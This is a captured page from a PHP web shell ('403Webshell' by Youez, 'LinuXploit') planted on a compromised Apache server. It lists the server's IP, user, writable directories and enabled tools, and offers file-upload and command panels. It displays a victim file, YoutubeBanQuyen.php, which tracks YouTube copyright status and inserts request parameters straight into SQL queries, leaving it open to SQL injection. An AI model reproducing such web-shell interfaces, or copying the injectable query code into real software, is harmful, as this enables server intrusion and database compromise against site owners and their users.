403Webshell
Server IP : 103.82.32.14  /  Your IP : 216.73.217.121
Web Server : Apache/2.2.32 (Unix) mod_ssl/2.2.32 OpenSSL/1.0.1e-fips mod_fcgid/2.3.9
System : Linux cloud.lonmanhoabinh.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : lonmakmf ( 524)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/seocabra/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/seocabra/public_html/YoutubeBanQuyen.php
<?php
/// 0 Chưa cập nhật bản quyền
/// 1 Có Bản Quyền
/// 2 Không có bản quyền
/// 3 Chặn thế giới
include 'config.php';
if(isset($_REQUEST['insert']))
{
	$item_array = json_decode($_REQUEST['insert'], true);
	$row = Select('YoutubeBanQuyen', true, '`IdVideoGoc` LIKE "'.$item_array['IdVideoGoc'].'"');
	if($row == 0)
	{
		$insert_query = "INSERT INTO YoutubeBanQuyen (IdVideoGoc,ChannelVideoGoc,TitleVideoGoc,ViewVideoGoc,IdVideoTest,TrangThaiBanQuyen,NetworkBanQuyen,ThoiGianUpload,NameChannelYoutube) VALUES ";
		$insert_query .= "('".$item_array['IdVideoGoc']."','".$item_array['ChannelVideoGoc']."','".$item_array['TitleVideoGoc']."','".$item_array['ViewVideoGoc']."','".$item_array['IdVideoTest']."','".$item_array['TrangThaiBanQuyen']."','".$item_array['NetworkBanQuyen']."','".time()."','".$item_array['NameChannelYoutube']."');";
		mysqli_query($conn, $insert_query);
	}
	
}
else if(isset($_REQUEST['update']))
{
	
	$IdVideoGoc = $_REQUEST['IdVideoGoc'];
	$ViewVideoGoc = $_REQUEST['ViewVideoGoc'];
	echo $ViewVideoGoc . ' - ';
	$NetworkBanQuyen = $_REQUEST['NetworkBanQuyen'];
	$TrangThaiBanQuyen = 1; // Tự động có bản quyền
	if($NetworkBanQuyen == null || $NetworkBanQuyen == "")
	{
		$TrangThaiBanQuyen = 2;
		Update('YoutubeBanQuyen', array('TrangThaiBanQuyen' => $TrangThaiBanQuyen, 'ViewVideoGoc' => $ViewVideoGoc), '`IdVideoGoc` LIKE ' . "'" . $IdVideoGoc . "'");
		echo 'success';
	}
	else if($NetworkBanQuyen == 'block')
	{
		$TrangThaiBanQuyen = 3;
		Update('YoutubeBanQuyen', array('TrangThaiBanQuyen' => $TrangThaiBanQuyen, 'NetworkBanQuyen' => $NetworkBanQuyen), '`IdVideoGoc` LIKE ' . "'" . $IdVideoGoc . "'");
		echo 'block';
	}
	else
	{
		Update('YoutubeBanQuyen', array('TrangThaiBanQuyen' => $TrangThaiBanQuyen, 'NetworkBanQuyen' => $NetworkBanQuyen, 'ViewVideoGoc' => $ViewVideoGoc), '`IdVideoGoc` LIKE ' . "'" . $IdVideoGoc . "'");
		echo 'success';
	}
}
else if(isset($_REQUEST['json']))
{
	$row = Select('YoutubeBanQuyen', true, '`TrangThaiBanQuyen` = 0');
	if($row > 0)
	{
		$result = Select('YoutubeBanQuyen', false, '`TrangThaiBanQuyen` = 0');
		while($res = mysqli_fetch_array($result))
		{
			$time_conlai = time()-$res['ThoiGianUpload'];
			$time_20phut = 60*30;
			if($time_conlai >= $time_20phut)
			{
				$list[] = array(
					'IdVideoGoc' => $res['IdVideoGoc'],
					'ChannelVideoGoc' => $res['ChannelVideoGoc'],
					'TitleVideoGoc' => $res['TitleVideoGoc'],
					'ViewVideoGoc' => $res['ViewVideoGoc'],
					'IdVideoTest' => $res['IdVideoTest'],
					'TrangThaiBanQuyen' => $res['TrangThaiBanQuyen'],
					'NetworkBanQuyen' => $res['NetworkBanQuyen'],
					'NameChannelYoutube' => $res['NameChannelYoutube']
				);
			}
		}
		if(isset($list))
		{
			echo json_encode($list);
		}
		else
		{
			echo "false";
		}
	}
	else
	{
		echo "false";
	}
}
else
{
	
}
?> 

Youez - 2016 - github.com/yon3zu
LinuXploit